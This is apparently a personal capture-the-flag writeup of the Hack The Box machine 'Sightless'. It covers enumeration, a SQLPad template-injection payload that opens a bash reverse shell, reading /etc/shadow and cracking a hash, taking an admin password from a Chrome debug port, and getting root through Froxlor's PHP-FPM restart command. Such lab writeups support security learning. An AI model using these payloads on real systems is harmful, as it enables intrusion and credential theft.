🧛
Acaard
  • WHOAMI
  • writeups
    • HTB Boxes
      • Headless (Easy)
      • Codify (Easy)
      • Builder (Medium)
      • Usage (Easy)
      • Sightless (Easy)
      • Cicada (Easy)
      • Yummy (Hard)
    • TuxCTFv2
      • Vampires Checker (Reverse)
      • wannaGOwithme (Reverse)
      • TuxHouse (Machine)
      • The Lair (web)
      • Die Todten (OSINT)
  • 💻Random but useful
    • Tmux
    • CPTS Review
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • ROOT
  1. writeups
  2. HTB Boxes

Sightless (Easy)

Easy difficulty Linux box.....

Enumeration

Starting with an nmap scan as usual:

nmap -sC -sV -vv 10.10.11.32

Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGoivagBalUNqQKPAE2WFpkFMj+vKwO9D3RiUUxsnkBNKXp5ql1R+kvjG89Iknc24EDKuRWDzEivKXYrZJE9fxg=
|   256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA4BBc5R8qY5gFPDOqODeLBteW5rxF+qR5j36q9mO+bu
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

We see FTP, SSH telling us it's an Ubuntu server, and HTTP on nginx that is redirecting us to "sightless.htb" so let's add it to the /etc/hosts file and check the website.

Scrolling down to here, we see the SQLPad section, which redirects us to a new virtual host "sqlpad.sightless.htb" so let's add that too and check it.

First we will make a connection in the website, then click "test" and intercept it in Burp.

Exploitation

Then in Burp, we will add a new "data" parameter and make the POST data like:

{"name":"test","driver":"mysql",
"data": {
"database":"{{process.mainModule.require('child_process').exec('/bin/bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\"')}}"  }
}

Checking on our listener we get a shell as root, but we are on a docker container:

nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.16.26] from (UNKNOWN) [10.10.11.32] 43514
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad#

Enumearting around the container, we see a user called "michael" that is present, since we have root access we can read "/etc/shadow", get his password and try to crack it.

cat /etc/shadow
cat /etc/shadow
root:$6$......
<SNIP>
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa<SNIP>

Getting his password and loading it into John, we can crack it easily and login via SSH.

john --show michael.hash
?:insanec<REDACTED>

1 password hash cracked, 0 left

Accessing the server via SSH, we got user.txt

michael@sightless:~$ wc -c user.txt
33 user.txt

ROOT

Enumearting in the machine we found port 8080 listening locally.

michael@sightless:~$ ss -natpl
State                       Recv-Q                      Send-Q                                            Local Address:Port                                              Peer Address:Port                      Process
<SNIP>
LISTEN                      0                           511                                                   127.0.0.1:8080                                                   0.0.0.0:*
LISTEN                      0                           4096                                              127.0.0.53%lo:53                                                     0.0.0.0:*
LISTEN                      0                           4096                                                  127.0.0.1:40535                                                  0.0.0.0:*
<SNIP>

Forwarding it to our box using SSH so we can access it like so:

ssh -L 8080:127.0.0.1:8080 michael@sightless.htb

And now going to localhost:8080 on our box, we see a froxlor instance:

Trying the old credentials we have but none worked, upon further enumeration on the box, we see a chrome debug port being used, by monitoring the processes, and checking the internal ports again, we try the ports in the 40000 range, we can access the debug port.

First let's forward the port alongside 8080.

ssh -L 8080:127.0.0.1:8080 -L 41557:127.0.0.1:41557 michael@sightless.htb

Then opening a chromium based browser we can go to "chrome://inspect" then click configure, and add the host and the port we have:

Clicking "Done" then we can see:

Inspecting it, we can see requests being made to the Froxlor website, checking the network tabs, we can see it's logging in and we can get the admin password.

And we get access to the admin dashboard.

root@sightless:~# ls
ls
docker-volumes
root.txt
scripts
root@sightless:~# wc -c root.txt
wc -c root.txt
33 root.txt
PreviousUsage (Easy)NextCicada (Easy)

Last updated 4 months ago

We see an instance of SQLPad running, googl-ing around we see a CVE for it that gives us RCE via the "api/test-connection" endpoint. If you wish you can use GitHub repo for it, but I will be doing the exploit manually in BurpSuite.

Going to PHP-FPM configuration tab, we can edit the restart command (""), so we made a bash 1 liner reverse shell, then making the restart command: "bash /tmp/vamp.sh". After that we can go restart the PHP-FPM setting from the system configuration tab, and we will get a reverse shell on our listener:

Happy hacking :)

🧛
this
http://127.0.0.1:8080/admin_phpsettings.php?page=fpmdaemons&action=edit&id=1
Showing the website
Test connection
Website on 8080
Debug port
Showing result
Admin credentials